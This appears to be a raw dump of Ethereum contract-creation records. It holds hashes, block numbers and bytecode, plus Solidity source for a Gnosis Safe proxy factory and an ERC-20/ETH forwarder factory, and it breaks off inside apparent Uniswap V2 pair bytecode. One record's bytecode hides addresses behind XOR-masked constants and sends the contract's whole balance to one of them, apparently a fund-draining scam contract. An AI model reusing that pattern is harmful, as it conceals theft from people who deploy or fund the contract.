ae2cbab053741f890370832ab26a0516f749a628
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
de894d8704ce760579a7e2cfa8c5faaf0049e623
|
3d602d80600a3d3981f3363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d731abaec5dd9a84171d998332570919c9f0f17f2685af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
a8c383944c793f280da4ddeaebc1bfa6c87588b63107c12aec5a3c08c7490f27
|
cc0a4310248b83b1e218ac94619ba849b684b039
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
de6da33290290e2bd25b41149e0cf281258f22c5
|
3d602d80600a3d3981f3363d3d373d3d3d363d7374f4e24e07b48d73ff356dc7ae2a6449e61b2e425af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7374f4e24e07b48d73ff356dc7ae2a6449e61b2e425af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,299 |
877eac247ef8870e38011ea6150b616bde1c041741ee494b4adf5ee16906fd91
|
9ee16f340c9edb6c35b7d87921ffe85119e3f9edad1bf2c5d4211dd4e63429ff
|
1cbe4112da539d36b2f68033a7f8ebe63b856f24
|
881d4032abe4188e2237efcd27ab435e81fc6bb1
|
d013cee8c51e6a0f05f3758a595333ba642e0c7d
|
3d602d80600a3d3981f3363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73412e13e08d7c423596b8d7413b8673dfd5a8f27b5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,301 |
396136ac7f3cfd18f63c70c41634813397d3dbe59ab7dc330f0251fbd92e9cb0
|
35a3cc9ad4980deda859d0e55cc5259fc1515e359a3a463358c5d7ce4dca5f90
|
54f3b85c20da16873a50bb68870e6516e6dfaccc
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
aa9ad7e5bb20ac33fd50aab07142fa98a053ed66
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,301 |
396136ac7f3cfd18f63c70c41634813397d3dbe59ab7dc330f0251fbd92e9cb0
|
c01e253b071a83c9021930b003043fb18d15c75221bb35fde370aa09cda7ba94
|
3a63afd0e8c60942c3faf8efcaf0a391a3e7f386
|
3a63afd0e8c60942c3faf8efcaf0a391a3e7f386
|
684a8e452d8ddf9bbca5d9a9a8edc67cee958bab
|
6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f6e75382374384e10a7b62f62b1cbc838b27cab7b4b813902e9a526a40fffb0d36007557f6e75382374384e10a7b62f62d4deec44f9ffde0a59bd57064cb9cee22c0b5bd76008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212204a383569535b692d71f075e2e2b9cf85f3d89f6df2dca074b362a70249b1397464736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212204a383569535b692d71f075e2e2b9cf85f3d89f6df2dca074b362a70249b1397464736f6c63430008070033
| |
1 | 19,502,305 |
bde6f8d9bb5cc559c6ef35601b80eff3548674136450d8b962a0cdbbaf5e6271
|
37a46cdfcb7f48771000a61e8a7bbddb81464a00aba397d44d9f648527497642
|
371281c9b7bb14bab2bc4e65b3fe21c6af1a0438
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
6ca7c376d09071018c80d3b683532e31f17b1bfa
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,307 |
6b834913a6fac17704916a105a618cabf8d11335ae71a3e84dbb40c91267046f
|
ffefa7c45d536b78367b50a5da138512541544434a7355a352c88f0987576a10
|
841c79791f2e751ed23ab3a76f3811e069b41b16
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
167bd056a94f85db0b707ef0dbd94718c0e30e26
|
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695